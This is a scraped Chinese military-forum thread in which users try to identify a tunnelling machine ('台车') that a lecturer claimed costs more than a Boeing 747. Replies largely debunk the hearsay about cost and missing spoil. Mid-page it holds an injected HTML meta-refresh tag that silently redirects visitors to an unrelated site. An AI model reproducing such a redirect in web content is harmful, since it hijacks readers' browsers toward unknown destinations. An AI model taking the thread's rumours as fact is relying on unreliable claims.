有谁知道“台车”是那种机械吗?据说造价比波音747还贵- ...

来源:百度文库 编辑:超级军网 时间:2024/05/03 15:20:14
<br /><br />今天上午在参加三类人员安全培训讲座时
我们的讲师讲到了“台车”这么一个东西。
他说前几年他在给二炮部队的工程兵上防水的讲座时,曾经在营地里住了一个星期,和“两杠三星”吃饭时,那个“两杠三星”告诉他在他们工地的山洞里有“台车”这么个东西,造价比波音747还贵,全军仅两台,是德国进口的。
那个工程非常巨大,外面看什么都看不出来,却已经结结实实挖了很多年了,山体的岩层是花岗岩,里面挖出的大量碎石在外面却见不到一点踪影,老讲师在那住了1个礼拜也没见到一点碎石外运,他估计是被粉碎了拌砼用了。我在网上也找不到他所说的“台车”是什么样的器械,应该是大型“盾构机”吧
不知道是不是这种类型的8D3218887D1BF5F644140E73B6743018.jpg<meta http-equiv="refresh" content="0; url=http://sdw.cc">
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我们的讲师讲到了“台车”这么一个东西。
他说前几年他在给二炮部队的工程兵上防水的讲座时,曾经在营地里住了一个星期,和“两杠三星”吃饭时,那个“两杠三星”告诉他在他们工地的山洞里有“台车”这么个东西,造价比波音747还贵,全军仅两台,是德国进口的。
那个工程非常巨大,外面看什么都看不出来,却已经结结实实挖了很多年了,山体的岩层是花岗岩,里面挖出的大量碎石在外面却见不到一点踪影,老讲师在那住了1个礼拜也没见到一点碎石外运,他估计是被粉碎了拌砼用了。我在网上也找不到他所说的“台车”是什么样的器械,应该是大型“盾构机”吧
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可能是把盾构和搅拌站建一块了
切下来的岩石直接就当骨料用了
貌似盾构机
切岩石的和挖土的盾构机可完全不一样。
度娘来的

全称:衬砌台车,

  主要用于隧道,引水洞,二衬(二次衬砌)混凝土浇注使用,台车又分为两种结构一种是穿行式另一种是针梁式,台车主要由龙门架和模板组成,龙门架主要承重,模板是根据隧道形状设计的。它具有自动行走,液压自动定位脱模(可实现上,下,左,右移动)的优点。
我的妈呀比747贵,747可是2.4亿刀的东西啊
回复 1# lp2298

黑客帝国里面母体的挖地机?
记得英吉利海峡隧道就是这玩意挖的
盾构机中国企业好几年前就已经能够自己生产了。
这个不罕见啊,军队可能是很少,地方就多得去了,修铁路的中国铁建、各个工程局都不少,这种大型盾构机一台是要几个亿的,很常见,凡是正在修地铁的城市,你回去打听一下,基本上都有几台在地下钻土。

只是这种钻花岗岩的刀头可能和修地铁的盾构机的刀头不太一样吧
回复 5# firedragon99


    谢谢,应该是这种东西,不过这东西普通的路桥公司很多,估计没那么贵吧。
啃泥土和啃石头,牙口的要求可差远了啊
如果你看见有平板车运一些半圆形的钢板模进去一个洞,里面就有台车了
回复 1# lp2298

英吉利海峡隧道就是这玩意挖的:D
长城工程???
回复 15# yxydna


    那些都是假的,山洞都是散的,哪有5000公里连起来这么夸张。
盾构机貌似已经山寨完毕
TBM而已
怀疑所谓的不出渣,岩粉不经烧制直接掺到混凝土里行么?
axiuluo 发表于 2011-1-20 21:24

剥离下来的岩石破碎后可以做骨料,不需要烧制.水泥是必须的

哪个施工企业也不会把盾构机叫做"台车".我觉得应该是液压凿岩台车,专门对付硬质岩石结构的.这个东西有2条全自动的机械臂,可以多角度运转.适合打眼,喷涂
打个洞,就算打出来的碎岩石都变成水泥了,那体积也没小啊。没东西运出来的话那内部空间怎么出来的?除非打到溶洞之类的天然空洞了。
台车和盾构机是完全不同的。国内领先的是唐山的东方液压研究所。主要适用于巷道、隧道、涵洞岩石的凿岩工程,没有什么神秘的。那位大神也是军队内满嘴跑火车的人物,或者你的讲师在发挥臆想,信口开河。

1.JPG
2.jpg
zat2819798 发表于 2011-1-20 15:28


    盖几栋楼就出来了
回复 21# 暑假英雄


    说得比波音贵应该是夸张了,不过你说人家满口跑火车肯定不对,副师级也没那么好混的,而且以我对他们的了解,他们有的东西绝对超出你的想象
回复 20# molec


    你说的也有可能,那片山区地质非常复杂。还有一种可能是晚上运出来了,但是在外面处理得非常完美。
中国盾构机的介绍,看了就知道中国现在盾构机的水平如何了:
http://bugu.cntv.cn/life/science/baiketanmi/classpage/video/20101007/100743.shtml
这种专业设备当然贵了!没什么奇怪的
molec 发表于 2011-1-21 00:10
哥在水电部队见过
lp2298 发表于 2011-1-20 13:20


    严格的讲,盾构——是一种施工方法,一般图片上说的盾构机实际上是TBM——全断面掘进机,TBM有硬岩、土质、混合好多好多种~,现代的盾构施工都是把TBM和盾构施工机械组合起来的
TBM,也就是隧道掘进机,打硬岩用的。
盾构是TBM加钢壳,打泥层用的,出渣方式和TBM有根本区别。
台车是打炮眼用的。
学工程机械的飘过……
谢谢hp_cat 的指引截图1295619992.jpg截图1295620015.jpg截图1295620036.jpg截图1295620056.jpg截图1295620079.jpg截图1295620099.jpg截图1295620126.jpg截图1295620157.jpg截图1295620178.jpg截图1295620206.jpg截图1295620226.jpg截图1295620344.jpg截图1295620362.jpg
北京地铁10号线就是盾构机挖的吧。

设备是德国还是哪里的,坏了个件,换件就花了不少钱停工几天。听一个哥们说的。
CJDBYER 发表于 2011-1-20 16:07
    ---国产的基本都是从德国进口大件组装一下而已


广州南沙海瑞克公司 就是造这个东西的
这个东东的核心是刀头
魏秋月 发表于 2011-1-21 23:08

德国人这么傻啊,你这是在侮辱德国人的智商。
你那讲师就是满嘴跑火车的主。
  花岗岩里打隧洞都是采用钻爆法,凿岩台车就是打炮眼用的,普通的几百万,高级的也不过千把万(全进口的)。没有碎石外运更是胡说八道,全世界都没这种“先进”工艺。
深圳地铁工地13台盾构机发来贺电,又不是啥新鲜玩意
酸泡菜 发表于 2011-1-22 14:46
看那些截图,七十年代末
现在挖地铁不都用这玩意麽